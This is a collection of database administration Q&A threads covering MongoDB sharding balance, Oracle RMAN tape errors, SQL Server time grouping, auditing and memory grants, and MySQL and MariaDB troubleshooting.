mongodb cluster Data distribution is not uniform The chunk seems to average

{  "_id" : "flanker",  "primary" : "rs11",  "partitioned" : true }
        flanker.bill
            shard key: { "_id" : "hashed" }
            unique: false
            balancing: true
            chunks:
                rs1 73
                rs10    73
                rs11    73
                rs12    73
                rs13    73
                rs14    73
                rs15    73
                rs2 72
                rs3 72
                rs4 72
                rs5 72
                rs6 72
                rs7 72
                rs8 72
                rs9 72
            too many chunks to print, use verbose if you want to force print
but the Quantity and size are not same
node 10:
rs10:PRIMARY> show dbs
admin            0.000GB
bjc_papa         0.351GB
flanker         35.605GB
hades            0.162GB
local           19.968GB
za-ordergather   0.000GB
rs10:PRIMARY> db.bill.find().count()
12730327
rs10:PRIMARY> db.claim.find().count()
4889074
rs10:PRIMARY> db.commissionBill.find().count()
7657692
rs10:PRIMARY> db.endorsement.find().count()
7279615
rs10:PRIMARY> db.policy.find().count()
1729638
any other node, for example:
rs2:PRIMARY> show dbs
admin           0.000GB
bjc_papa        0.453GB
flanker         3.889GB
hades           0.152GB
local           6.441GB
za-ordergather  0.000GB
rs2:PRIMARY> db.bill.find().count()
3971029
rs2:PRIMARY> db.claim.find().count()
1969355
rs2:PRIMARY> db.commissionBill.find().count()
1521794
rs2:PRIMARY> db.endorsement.find().count()
951906
rs2:PRIMARY> db.policy.find().count()
1789974

Can anyone tell me why, Which makes me very confused？thanks

As at MongoDB 3.4, collection balancing is based on chunk counts and a migration threshold which is the delta between the shard with the most chunks for a collection and the shard with the least. For example, with your deployment having more than 80 chunks the migration threshold to trigger a balancing round would be a difference of 8 chunks. Your sample sh.status() output includes 15 shards with 72 or 73 chunks each, so the flanker.bill collection would be considered balanced.

A chunk represents a range of shard key values containing documents up to the configured chunkSize which is 64MB by default. Individual chunks are not expected to have similar document counts or data size, and some use cases (eg. highly variable document sizes, frequent data deletion, lack of cardinality in shard keys) may lead to more significant differences in the sum of documents represented by a chunk. The usual outcome is that on average chunk ranges provide a reasonable proxy for balancing data in a sharded collection while requiring minimal accounting/coordination between shards.

With a hashed shard key on a field with good cardinality you should expect reasonably random distribution of shard key values which helps distributes inserts across shards and reduces the need for rebalancing.

Since you appear to have a significant imbalance of data between shards, I would investigate further by calculating more details on actual data stored on the shards as per: How to Determine Chunk Distribution (data and number of docs) in a Sharded MongoDB Cluster. NOTE: calculating exact document totals (vs estimates) can be resource intensive, so exercise caution if this is your production environment and start with estimates.

It is likely that you have a number of chunk ranges which contain few (or in extreme cases, no) documents due to data deletion and more of these happen to have ended up on the same shard. If so, there is a manual administrative procedure to Merge Empty Chunks which may be relevant. Empty or sparsely populated chunks are not merged automatically as the assumption is that new documents will still be inserted into these chunk ranges in future.


RMAN Recovery In Oracle 11g : Backup Database To Tape On issuing this command:

RMAN> backup device type sbt tablespace <tablespace_name>;

we are getting the following error:

ORA-19554: error allocating device, device type: SBT_TAPE, device name:
ORA-27211: Failed to load Media Management Library

How to overcome this error?

The "device" in RMAN is a misnomer, it should be really called "storage".

The "sbt" (synonym of "sbt_tape") is a misnomer again, as it has NOTHING to do with any tapes, it should be simply called "non-rman". This is just an empty placeholder, to be filled with any "plugin"; the plugin is called by Oracle either the "Media Manager library" or SBT_LIBRARY. This plugin allows rman to store and retrieve files through it, so rman only tells that it needs a file handle "xyz" (file is identified by a string handle) and doesn't need to know how the file is delivered, from tape or anything. The plugin is normally a part of an independent backup software, such as IBM TSM or Symantec NetBackup or many others. Oracle provides a simple emulator SBT_LIBRARY=oracle.disksbt for testing.

Since you didn't fill that placeholder with any "Media Manager library", you receive an error message as expected.


DB2 9.7, create or replace tablespace possible? I am creating my tablespaces in the sql scripts that create the database schema. This causes a problem in continuous integration processes, where consecutive execution of the script is not possible because it always tries to create a new instance of the same tablespace.

For triggers there is the call CREATE OR REPLACE TRIGGER but I couldn't find one for tablespaces. Any way around this other than dropping the tablespaces when the schema is dropped?

You can do it programmatically by querying the catalog. However, there is no command like in DB2.

You can query the view SYSCAT.TBSPACES and look for you tablespace. If it exists drop it, then create a new one.


SQL Server 2008 Group by 30 minute Time Intervals I have a SQL select statement which produces the following results, and I need to define it so that we can group the data based on 30 minute intervals of time and provide the sum of Revenue and Nbr of Trans.

Table Date/Time field -

ActionDateTime          REVENUE NBR of TRANS
2013-01-03 07:44:57.840 5.00    1
2013-01-03 07:45:10.093 5.00    1
2013-01-03 07:45:21.557 1.00    1
2013-01-03 09:07:21.253 50.00   1
2013-01-03 09:07:42.680 40.00   1
2013-01-03 09:07:49.007 104.30  1

Current Results -

DATE        TIME             REVENUE    NBR of TRANS
01/03/2013   07:44:57   5.00    1
01/03/2013   07:45:10   5.00    1
01/03/2013   07:45:21   1.00    1
01/03/2013   09:07:21   50.00   1
01/03/2013   09:07:42   40.00   1
01/03/2013   09:07:49   104.30  1

Desired Results -

DATE        TIME             REVENUE    NBR of TRANS
01/03/2013   08:00:00    11.00  3
01/03/2013   09:30:00   194.30  3

Current SQL statement -

select
  'DATE' = CONVERT(VARCHAR(12), x30.ActionDateTime, 101),
  'TIME' = CONVERT(VARCHAR(12), x30.ActionDateTime, 108),
  'REVENUE' = SUM(t01.Amount),
  'NBR of TRANS' = COUNT(t01.DocumentNumber)
from
dbo.X30_AuditInformation x30 with (nolock),
dbo.T01_TransactionMaster t01 with (nolock),
dbo.T04_GiftDetails t04 with (nolock),
dbo.B01_BatchMaster b01 with (nolock)
where x30.TableRecordId = t01.RecordId and x30.TableId = 'T01_' and x30.Action = 'INSERT'
and t01.DocumentNumber = t04.DocumentNumber
and b01.BatchNumber = t01.BatchNumber
and t01.Date between '01/01/2013' and '01/02/2013'
and b01.BatchCategory in ('IMC')
and t04.SourceCode like 'T%'
GROUP BY x30.ActionDateTime, DATEPART(MINUTE, x30.ActionDateTime)/30
ORDER BY x30.ActionDateTime

Is my GROUP BY incorrect?

Just this...

SELECT
    'DATE' = CONVERT(VARCHAR(12), CAST(x30.ActionDateTime AS date), 101),
    'TIME' = CAST(DATEPART(HOUR, x30.ActionDateTime) AS char(2)) + ':' + CAST(DATEPART(MINUTE, x30.ActionDateTime)/30 AS char(2),
    ...

GROUP BY
    CAST(x30.ActionDateTime AS date),
    DATEPART(HOUR, x30.ActionDateTime),
    DATEPART(MINUTE, x30.ActionDateTime)/30


Audit SQL Server database transactions I found some column values have been changed on a table, I need to view when and who made these changes.

I tried to read the transaction log backup file, but I didn't understand it and cannot find the information that I look for.

Any help please. If there is a way, if no for the future which is the best way to audit database transactions without impact the performance, SQL audit, or trace or custom triggers?

There are several methods to audit database transactions, but they all affect performance more or less

SQL Server Change Tracking and SQL Server Change Data Capture don't show who, when, and how executed the transactions. On the other hand, SQL Server Change Data Capture shows the old and new values for the UPDATE statements. Here is a useful set of comparison notes: SQL Server 2008 Change Tracking (CT) and Change Data Capture (CDC) and Comparing Change Data Capture and Change Tracking

SQL Server Auditing  shows who, when, and how, but doesn't show the old and new values for the UPDATE statements

The methods that read the database transaction log files don't add overhead, as there is not additional change capturing. Besides fn_dblog, that can return results not easy to understand, there are third party tools, such as ApexSQL Log

There are two more auditing tools from ApexSQL - ApexSQL Audit which uses triggers, so can impact performance on a high transaction database, and ApexSQL Comply that uses SQL traces

SQL Server database auditing techniques

Disclaimer: I work for ApexSQL as a Support Engineer


mysql error handling stored procedure doesn't catch error NOTE: I also tried CONTINUE instead of EXIT with same results.

I am running mysql 5.5 and am trying to create a stored procedure that sends a variable out based on if it supports full text.

delimiter //

CREATE PROCEDURE supports_ft(OUT supports_ft SMALLINT)
BEGIN
   DECLARE EXIT HANDLER FOR SQLSTATE 'HY000' SET supports_ft = 0;
    SET supports_ft = 1;
    SELECT @@innodb_ft_cache_size;
END;

The error I am getting is #1193 - Unknown system variable 'innodb_ft_cache_size'

According to https://dev.mysql.com/doc/refman/5.1/en/error-messages-server.html

the error code is Error: 1193 SQLSTATE: HY000 (ER_UNKNOWN_SYSTEM_VARIABLE)


CONVERT to datetime fails on Dynamic SQL - "Conversion failed when converting date and/or time from character string" I've spent a few hours with this and still can't get it to work. I'm trying to get the path to the most recent file that matches a pattern for a dynamic SQL query where I'm loading a CSV file into a temp table for a stored procedure. The original SQL that I built the dynamic query on works perfectly fine (yes, I know CONCAT isn't in this one, but it shouldn't make a difference):

DECLARE @FILE varchar(MAX)
SET @FILE = '%InventoryFeedResults%.csv';

DECLARE @FILES TABLE (ID int IDENTITY, [FileInfo] varchar(MAX))
            INSERT INTO @FILES EXECUTE xp_cmdshell 'dir "C:\Inventory Feeds"'
            SELECT [FileName]
            FROM (SELECT ID
                        ,CAST(LEFT([FileInfo],18) AS datetime) AS 'Created'
                        ,RIGHT([FileInfo],CHARINDEX(CHAR(32), REVERSE([FileInfo]),1)-1) AS 'FileName'
                        ,ROW_NUMBER() OVER(ORDER BY CONVERT(datetime,LEFT([FileInfo],18)) DESC) AS 'RowNum'
                    FROM @FILES
                    WHERE [FileInfo] LIKE @FILE) AS FileInfo
            WHERE FileInfo.RowNum = 1

But when I try to run it here I get the "Conversion failed when converting date and/or time from character string" error:

DECLARE @DIR varchar(MAX)
SET @DIR = 'C:\Inventory Feeds\';
DECLARE @FILE varchar(MAX)
SET @FILE = '%InventoryFeedResults%.csv';

DECLARE @FINDFEED nvarchar(MAX), @PARAM nvarchar(MAX), @PATH nvarchar(MAX)
    SELECT @FINDFEED = 'DECLARE @FILES TABLE (ID int IDENTITY, [FileInfo] varchar(MAX))
                INSERT INTO @FILES EXECUTE xp_cmdshell ''dir "'+ @DIR + '" /b''
                SELECT @ADD = CONCAT(''' + @DIR + ''',[FileName])
                            FROM (SELECT ID
                            ,CAST(LEFT([FileInfo],18) AS datetime) AS ''Created''
                            ,RIGHT([FileInfo],CHARINDEX(CHAR(32), REVERSE([FileInfo]),1)-1) AS ''FileName''
                            ,ROW_NUMBER() OVER(ORDER BY CONVERT(datetime,LEFT([FileInfo],18)) DESC) AS ''RowNum''
                        FROM @FILES
                        WHERE [FileInfo] LIKE ''' + @FILE + ''') AS FileInfo
                        WHERE FileInfo.RowNum = 1'
    SELECT @PARAM = '@ADD nvarchar(500) OUTPUT'
    EXECUTE sp_executesql @FINDFEED, @PARAM, @ADD = @PATH OUTPUT

    SELECT @PATH

The dates are nvarchars in this format, EX:  '2019-02-15 10:29:00.000'

The filenames are formatted with a report name and a 3 digit number, EX: InventoryFeedResults924.csv

The full output for FileInfo is:

02/15/2019  10:29 AM           405,609 InventoryFeedResults924.csv

This needs to work on SQL Server 12.

I've tried switching between CAST and CONVERT and a few different style numbers in CONVERT, but I'm honestly not sure why it would work one place and not the other. I just need to know what magical incantation that will let me convert this string to a datetime in a dynamic query so I can pull the most recent file if it's possible. Or maybe I could add an option to xp_cmdshell to format the timestamp to make it work? I'm at a loss, help me please, Internet!

Your second example is using the /b switch which only returns file names, but not any date information.  Removing the /b should fix the problem.


Archive log backup error and backup completed with errors My prod DB backup completed with errors stating the below error.

RMAN-00571: ===========================================================
RMAN-00569: =============== ERROR MESSAGE STACK FOLLOWS ===============
RMAN-00571: ===========================================================
RMAN-03009: failure of backup command on ch01 channel at 05/08/2014 09:24:07
ORA-19588: archived log recid 161391 stamp 907826104 is no longer valid

What to do?

This happens when one processes cleans the archives and an other finds the need to backup it. Things to check:

do you have a archive log clean script other than rman? (hope not)
do you run archive log backups during the full database backup? if so, don't make archive backups in the db backup script but only in the archivelog backup script.


MySQL Foreign Key Prevents Deleting Table — But Table is Empty Why would dropping an empty table produce a foreign key error?

In MySQL, I have a table with the following definition

CREATE TABLE `enterprise_rma` (
  `entity_id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT 'RMA Id',
  `status` varchar(32) DEFAULT NULL COMMENT 'Status',
  `is_active` smallint(5) unsigned NOT NULL DEFAULT '1' COMMENT 'Is Active',
  `increment_id` varchar(50) DEFAULT NULL COMMENT 'Increment Id',
  `date_requested` timestamp NULL DEFAULT CURRENT_TIMESTAMP COMMENT 'RMA Requested At',
  `order_id` int(10) unsigned NOT NULL COMMENT 'Order Id',
  `order_increment_id` varchar(50) DEFAULT NULL COMMENT 'Order Increment Id',
  `store_id` smallint(5) unsigned DEFAULT NULL COMMENT 'Store Id',
  `customer_id` int(10) unsigned DEFAULT NULL,
  `customer_custom_email` varchar(255) DEFAULT NULL COMMENT 'Customer Custom Email',
  PRIMARY KEY (`entity_id`),
  KEY `IDX_ENTERPRISE_RMA_STATUS` (`status`),
  KEY `IDX_ENTERPRISE_RMA_IS_ACTIVE` (`is_active`),
  KEY `IDX_ENTERPRISE_RMA_INCREMENT_ID` (`increment_id`),
  KEY `IDX_ENTERPRISE_RMA_DATE_REQUESTED` (`date_requested`),
  KEY `IDX_ENTERPRISE_RMA_ORDER_ID` (`order_id`),
  KEY `IDX_ENTERPRISE_RMA_ORDER_INCREMENT_ID` (`order_increment_id`),
  KEY `IDX_ENTERPRISE_RMA_STORE_ID` (`store_id`),
  KEY `IDX_ENTERPRISE_RMA_CUSTOMER_ID` (`customer_id`),
  CONSTRAINT `FK_ENTERPRISE_RMA_CUSTOMER_ID_CUSTOMER_ENTITY_ENTITY_ID` FOREIGN KEY (`customer_id`) REFERENCES `customer_entity` (`entity_id`) ON DELETE SET NULL ON UPDATE CASCADE,
  CONSTRAINT `FK_ENTERPRISE_RMA_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE SET NULL ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='RMA LIst';

I'm trying to DROP this table, but whenever I do I receive the following error.

  Cannot delete or update a parent row: a foreign key constraint fails

What I don't understand is, the table is already empty.  If I SELECT * FROM enterprise_rma;, no rows are returned (0 rows affected)

and SHOW ENGINE INNODB STATUS; returns nothing useful.

I know I can work around this with the following

SET FOREIGN_KEY_CHECKS=0;
DROP TABLE enterprise_rma;
SET FOREIGN_KEY_CHECKS=0;

But I don't understand how a foreign key constraint could fail if there's no data in the table.  Is there a subtlety of MySQL's foreign key mode I don't understand?  Can MySQL get damaged or put in an invalid state when this happens?  Are there methods for troubleshooting this myself?

You shouldn't be able to drop a table that is the parent of another dependent table, even if it has no data. Because if you drop the parent, then you will never be able to insert any data in the child. You must first drop any child tables that reference enterprise_rma.

Something doesn't match your description, though. You said you were having trouble dropping the table, but your example about the foreign key checks shows you using DELETE.

DELETE is not the same as DROP TABLE. After DELETE, there are no rows in the table, but the table still exists. After DROP TABLE, the table doesn't exist, i.e. it doesn't show up if you run SHOW TABLES.


Query is extremely slow after ALTER and deploying of updates I run a test server and a production server..
When I do some changes on the db structure on the test server I save all the SQL queries to later run them on the production server when I deploy the updates
Today I deployed some updates on the production server, but at least one query is now so slow that it will timeout (it takes several minutes).. It used to take 1-2 sec
On the test server the same query still runs smooth as it used to
query
SELECT dv.id,dv.client_id,b.name block_name,dv.is_ocr_pending,dv.time,dv.label,dv.is_pdf_broken,dv.is_pdf_scan,dv.is_pic,dv.file_sha1,dv.file_ext,dv.file_ext_thumb,dv.file_size,dv.file_size_original,dv.num_pages,dv.dpi,dv.ocr_confidence,dv.ocr_recall_id,dv.ocr_vatno,cv.name ocr_vatno_name,dv.ocr_vatno_country,dv.ocr_is_vatno_verified,dv.ocr_invoice_id_,dv.ocr_invoice_time,dv.ocr_invoice_time_due,dv.ocr_fi_type,dv.ocr_fi_payment_id_,dv.ocr_is_fi_payment_verified,dv.ocr_fi_creditorno,dv.ocr_bank_code,dv.ocr_bank_code_id,dv.ocr_is_bank_code_verified,dv.ocr_bank_account,dv.ocr_is_bank_account_verified,dv.ocr_bank_iban,dv.ocr_is_bank_iban_verified,dv.ocr_bank_swift,dv.ocr_bank_swift_id,dv.ocr_is_bank_swift_verified,dv.ocr_products_pattern,dv.ocr_total,dv.ocr_is_total_verified,dv.ocr_vat,dv.ocr_currency
FROM `data_voucher` dv
LEFT JOIN `block` b ON b.id=dv.block_id
LEFT JOIN `cache_vatno` cv ON cv.vatno=dv.ocr_vatno
ORDER BY dv.time DESC,dv.id DESC
LIMIT 0,25

It doesn't make sense that it timeout on one server but doesn't on the other.. When I dump the table structures the query affect the dumps are exactly the same?
If I exclude the line with LEFT JOIN cache_vatno cv ON cv.vatno=dv.ocr_vatno and remove the field cv.name ocr_vatno_name from the select clause it runs and completes as it did before the deploy
I don't know what to do?
I have now used perconas extrabackup to dump the production database and deploy it on the test server.. Now the test server has the same issues?
I can browse the table cache_vatno in phpmyadmin without problems
The table data_voucher has over 100k rows
Have tried to restart mysql
Addeing EXPLAIN to the query give this

10 times as slow?  And if you ran it again, it would be back to normal?

That is normal.  Before the big ALTER, all the data for that query was cached in RAM.  Then the ALTER bumped most of it out.  After that, the query had to go to disk, hence 10x slower.  Running again should see it in cache and be fast again.

If this does not fit with what you are seeing, please provide the following so we can dig deeper:

SHOW CREATE TABLE for each table
The size of each table
The query
Value of innodb_buffer_pool_size
The ALTER
Are the JOINs 1:1?  If so, there is a probably a significant rewrite to speed it up, even the 1-2 seconds.

Notice that the query must read all of the rows from all 3 tables, and put all the data into a temp table for sorting.

You don't seem to need LEFT, can you remove it?

Possible indexes (pending seeing the above info):

block -- already has PRIMARY KEY(id)?
cache_vatno:  INDEX(vatno)
data_voucher:  INDEX(time, id)

If the joins are 1:1?  Assuming they are, give this rewrite a try:

SELECT  SQL_CALC_FOUND_ROWS dv.id,dv.client_id,
        ( SELECT b.name FROM block b WHERE b.id=dv.block_id ) AS block_name,
        dv.is_ocr_pending,dv.time,dv.label,dv.is_pdf_broken,dv.is_pdf_scan,
        dv.is_pic,dv.file_sha1,dv.file_ext,dv.file_ext_thumb,
        dv.file_size,dv.file_size_original,dv.num_pages,dv.dpi,
        dv.ocr_confidence,dv.ocr_recall_id,dv.ocr_vatno,
        ( SELECT cv.name FROM `cache_vatno` cv
              WHERE cv.vatno=dv.ocr_vatno ) AS ocr_vatno_name,
        dv.ocr_vatno_country,dv.ocr_is_vatno_verified,dv.ocr_invoice_id_,
        dv.ocr_invoice_time,dv.ocr_invoice_time_due,dv.ocr_fi_type,
        dv.ocr_fi_payment_id_,dv.ocr_is_fi_payment_verified, dv.ocr_fi_creditorno,
        dv.ocr_bank_code,dv.ocr_bank_code_id,dv.ocr_is_bank_code_verified,
        dv.ocr_bank_account,dv.ocr_is_bank_account_verified,dv.ocr_bank_iban,
        dv.ocr_is_bank_iban_verified,dv.ocr_bank_swift,dv.ocr_bank_swift_id,
        dv.ocr_is_bank_swift_verified,dv.ocr_products_pattern,
        dv.ocr_total,dv.ocr_is_total_verified,dv.ocr_vat,dv.ocr_currency
    FROM  `data_voucher` dv
    ORDER BY  dv.time DESC,dv.id DESC
    LIMIT  0,25

Rationale:  I turned the JOINs into subqueries, thereby making it obvious that things are 1:1, and letting the Optimizer focus on just the one table (dv).  This should allow it to use INDEX(time, id) to handle both the ORDER BY and the LIMIT, thereby stopping after 25 rows.

Unfortunately, that still leaves the processing of SQL_CALC_FOUND_ROWS.  It must proceed to count the rest of the rows in that index.  So, removing the CALC may speed up the query signficantly.  Does the UI really need it?

...


Select products for an order via check boxes in Access 2010 I have a lookup table where I have defined some products. I have another table that defines orders. This table defines which products is in the order by having a ID that is linked to another table that has a link to the orders table and to the products lookup table.

Lookup products:

ID: 1
PName: Basketball

ID: 2
PName: Football

Orders:

ID: 1
Products: 3

ID: 2
Products: 5

Products:

Products: 3
PID: 1

Products: 5
PID: 1

Products: 5
PID:2

So in the orders table, one can see that Order 1 has ordered a Basketball, while Order 2 has ordered both a Basketball and a Football.

Now, when you place an order in the Place Order-form, I want the user to be able to choose between the available products, and let them pick them from a list of checkboxes. How is this possible? (When the shop manager adds another product, it is automatically added to the list.)

Is this the correct approach to my problem, or is there a better solution to this?

Edit: I found a solution to this. One could use a list you can select the product, and press an arrow button to add it to another list. The same way you choose fields when making a combo box.

You have an order/order detail set-up and this means the easiest way is to create an order form with a detail subform. The subform should be based on the table Products illustrated above, with a combo box for PID drawing the row source from Lookup products. The link child and master fields will be Order ID.

You can see something like this illustrated in the Northwind sample file. The sample files should not be followed exactly, they are only illustrations. In particular, the code is inclined to be a little dodgy.


Workspace Memory Internals Per my reading books on SQL Server 2008 Internals and Troubleshooting (borrowed from local library in Illinois) by Christian Bolton, Brent Ozar etc. I am trying to seek understanding and confirmation on SQL server and lots of searching on the web I would appreciate if someone can confirm or correct my understanding.

Every query or operation that requires query memory grant will need work space memory. In general query using Sort, Hash Match Join, Parallelism (Not sure about this), Bulk Insert (not sure), Index Rebuild etc. will need query workspace memory..

Workspace Memory is part of SQL Server buffer pool (it is allocated as part of buffer pool) and maximum workspace memory is 75% of memory allocated to buffer pool. By default a single query can not get more than 25% of workspace memory (in SQL 2008/SQL 2012 -- controlled by Resource Governor default workload group out of the box).

Seeking a confirmation of my understanding

1) Considering system with 48 GB RAM and max server memory configured to 40 GB does this mean max workspace memory is limited to 30 GB and a single query can not get workspace memory (query memory) more than 10 GB. So if you have a bad query working with a billion rows that is doing massive hash join and need more than 10 GB of memory (workspace memory) would it even care to  go through this memory grant queue or right away spill to the disk?

2)  If a query doing a massive sort operation has been assign a workspace memory of 5 MB and during the query execution of the query if query optimizer realize that due to bad statistics or missing indexes this query will actually need 30 MB of workspace memory it will immediately spill to tempdb. Even if system has plenty of workspace memory available during the execution once the query exceeded the granted workspace memory during the execution it will has to spill to the disk. Does my understanding is correct?

would it even care to go through this memory grant queue or right away spill to the disk?

It doesn't work that way. Once a plan was chosen that requires a memory grant, the query must obtain the grant so it goes through the queue. Spilling, if any, occurs much later in the execution cycle. A query cannot decide to go ahead without the grant and 'spill' instead. It must get the grant and, based on that, start the execution. If the grant turns out to be insufficient (due to bad estimate or due to obtaining a much lower grant than requested) then the query will be forced to spill.

if query optimizer realize that due to bad statistics or missing indexes

Strictly speaking it's not the optimizer, it's the query execution. Query Optimizer has only a say in deciding the plan, but once the plan is chosen and launched into execution the optimizer is out of the picture. Also, 'missing indexes' play no role here. A missing index can force a bad plan, but it cannot influence how that 'bad' plan is executed since that plan was built considering exactly what indexes actually exist so it knows exactly what it can and cannot do. Spills occur almost always due to bad estimates, ie. bad stats or bad cardinality estimation algorithms in the optimizer and in the execution (it gets really complex if you dig into the details so I'll stop here).

Even if system has plenty of workspace memory available during the execution once the query exceeded the granted workspace memory during the execution it will has to spill to the disk

Unfortunately, yes. However the optimizer should come up with a plan that leverages the available RAM.
I recommend reading Understanding SQL server memory grant, which is the best info on the subject by a wide margin.


SQL Server 2008 Containstable generate negative rank with weighted_term I have a table with full text search enabled on Title column. I try to make a weighted search with a containstable but i get an Arithmetic overflow for the Rank value. The query is as follow

 SELECT ID, CAST(Res_Tbl.RANK AS Decimal) AS Relevancy , Title
  FROM table1 AS INNER JOIN
    CONTAINSTABLE(table1,Title,'ISABOUT("pétoncle" weight (.8), "p&#233;toncle" weight (.8), "P&#201;TONCLE" weight (.8))',LANGUAGE 1036 ) AS Res_Tbl
     ON ID = Res_Tbl.[KEY]

When I execute this query I get : Arithmetic overflow error for type int, value = -83886083125.000076.

If I remove one of the two ';' in the ISABOUT function the query complete successfully.

Note you need to have some results if there is no result the query complete successfully.

Does anybody know how to solve this ?

This question is also on Stackoverflow

Qualifier: Since I can't recreate this, I'm unable to know for sure if this will fix the problem.  However, these are some things that I'm seeing.

First off, the ampersand, pound sign, and semicolon are word-break characters.  That means, that instead of searching for the string "p&#233;toncle", what you're actually searching for is "p", "233", and "toncle".  Clearly, that's not your intent.

I have to presume that you have the text "p&#233;toncle" somewhere in your dataset.  That means you need that entire string to be complete.

There are a few things you can do.

1)  Turn off Stopwords all together.  You can do that by altering the full text index to turn it off.

Note that you have to have your database set to SQL Server 2008 compatability for this to not generate a syntax error:

ALTER FULLTEXT INDEX ON Table1 SET STOPLIST OFF;

2) Create a new stoplist

If you create an empty StopList, you might be able to add the stopwords that you want or copy the system stoplist and remove the stopwords that you don't want.  (I would advise the second approach).

Having said that, I wasn't able to find the & or # in the system stoplist, so they may be hard coded.  You may have to simply turn the stoplist off.

3) Change your search to ignore the "p&#233;toncle" case.

If you drop the "p&#233;toncle" from the ISABOUT and change them to "p toncle", it might work:

'ISABOUT("pétoncle" weight (.8), "p toncle" weight (.8))'

Those are just some ideas.  Like I said, without being able to access the system or recreate the scenario, we won't be able to help much.

Some more information for your researching pleasure:

Stopwords and Stoplists
Alter Fulltext Index syntax
FullText search using Thesaurus file and special characters


Calculating disk space usage per MySQL DB I am currently using information_schema.TABLES to calculate the total disk space usage grouped by the database name, but it is running terribly slowly. On servers with hundreds of databases, it can take minutes to calculate.

What is the quickest method of calculating disk space usage by database? Should I just be looking at the filesystem? Is there a method for speeding up information_schema?

There are 3 scenarios.

If you are using MyISAM, it is easiest to just look at the filesystem and use du -sh /var/lib/mysql/database.
If you are using InnoDB with innodb_file_per_table set, then you can get an approximate answer using du -sh.  It is approximate because there is still some data stored in the ibdata1 file, so you will be a little on the low side.  This technique also works with mixed MyISAM/InnoDB (innodb_file_per_table) databases.
If you are using InnoDB without innodb_file_per_table set, then you will need to look at INFORMATION_SCHEMA.

In any of the cases above, you can run the following query to get the information that you are looking for.

mysql> select table_schema, sum((data_length+index_length)/1024/1024) AS MB from information_schema.tables group by 1;
+--------------------+-----------------+
| table_schema       | MB              |
+--------------------+-----------------+
| prod               | 298025.72448921 |
| information_schema |      0.00781248 |
| maatkit            |     70.77330779 |
| mysql              |      0.66873168 |
| test               |   4752.31449127 |
+--------------------+-----------------+
5 rows in set (0.01 sec)

If you have a very large number of tables, it can be slow, as you have already discovered.


MySQL Workbench Visual Explain not working with MariaDB 10.3.9 I recently installed MySQL Workbench 8.0.12 and MariaDB 10.3.9. I created my database and want to start fine tuning indexes and views. I can run a query with the EXPLAIN button and get the results in the tabular format (Tabular Explain). When I try to select "Visual Explain" from the dropdown menu, it switches back immediately to Tabular Explain. I tried almost everything and cannot switch to Visual Explain. Any ideas? Thanks!

MySQL Workbench is a MySQL product for MySQL servers only. There are no guarantees that it works with other servers and you you may encounter non-working areas (like you described) or may not even be able to connect to such a foreign server.


MariaDB and XtraDB/InnoDB plugins In my vps, I thought of switching from MySQL to MariaDB (using Monty's repository for Debian Squeeze). Copying over my.cnf from MySQL to MariaDB, I saw that the new config file (the one from the MariaDB package) does not mention any plugins commands like the old one from MySQL, where I loaded the InnoDB plugin. Now, I understand that XtraDB has become the default ACID storage engine in MariaDB, in place of InnoDB. Since I find MariaDB site's documentation lacking in this area, do I need to put something extra in the new my.cnf to activate XtraDB or is it active by default? show plugins returns this:

MariaDB [(none)]> show plugins;
+--------------------------------+--------+--------------------+---------+---------+
| Name                           | Status | Type               | Library | License |
+--------------------------------+--------+--------------------+---------+---------+
| binlog                         | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| mysql_native_password          | ACTIVE | AUTHENTICATION     | NULL    | GPL     |
| mysql_old_password             | ACTIVE | AUTHENTICATION     | NULL    | GPL     |
| MyISAM                         | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| partition                      | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| ARCHIVE                        | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| BLACKHOLE                      | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| CSV                            | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| FEDERATED                      | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| MEMORY                         | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| Aria                           | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| MRG_MYISAM                     | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| PBXT                           | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| PBXT_STATISTICS                | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| InnoDB                         | ACTIVE | STORAGE ENGINE     | NULL    | GPL     |
| INNODB_RSEG                    | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_BUFFER_POOL_PAGES       | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_BUFFER_POOL_PAGES_INDEX | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_BUFFER_POOL_PAGES_BLOB  | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_TRX                     | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_LOCKS                   | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_LOCK_WAITS              | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_CMP                     | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_CMP_RESET               | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_CMPMEM                  | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_CMPMEM_RESET            | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_TABLE_STATS             | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_INDEX_STATS             | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| XTRADB_ADMIN_COMMAND           | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_SYS_TABLES              | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_SYS_INDEXES             | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| INNODB_SYS_STATS               | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
| XTRADB_ENHANCEMENTS            | ACTIVE | INFORMATION SCHEMA | NULL    | GPL     |
+--------------------------------+--------+--------------------+---------+---------+
33 rows in set (0.00 sec)

What do I understand from the output above? That InnoDB=XtraDB?

As shown from your SHOW PLUGINS;, InnoDB is present. XtraDB is also present.

